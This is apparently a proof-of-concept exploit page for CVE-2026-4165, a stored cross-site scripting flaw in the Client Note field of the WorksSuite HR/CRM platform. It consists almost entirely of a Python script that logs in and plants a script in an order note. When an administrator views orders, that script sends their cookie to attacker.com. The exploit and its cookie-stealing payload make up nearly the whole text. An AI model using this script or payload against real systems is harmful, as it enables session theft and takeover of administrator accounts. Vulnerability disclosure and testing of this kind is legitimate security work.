CVE-2026-4165: WorksSuite HR/CRM/项目管理平台 Client Note参数XSS漏洞

import requests import sys # CVE-2026-4165 PoC - WorksSuite XSS in Client Note parameter # Target: /account/orders/create def exploit_xss(target_url, username, password): """ Exploit Stored XSS in Client Note parameter """ login_url = f"{target_url}/login" order_url = f"{target_url}/account/orders/create" # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Step 1: Login to get session session = requests.Session() login_data = { 'email': username, 'password': password } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Create order with XSS payload in Client Note order_data = { 'client_note': xss_payload, # Other required fields... } response = session.post(order_url, data=order_data) if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[*] Payload stored in order creation") print("[*] Trigger when admin views orders") return True else: print("[-] Failed to submit payload") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-4165.py <target_url> <username> <password>") sys.exit(1) exploit_xss(sys.argv[1], sys.argv[2], sys.argv[3])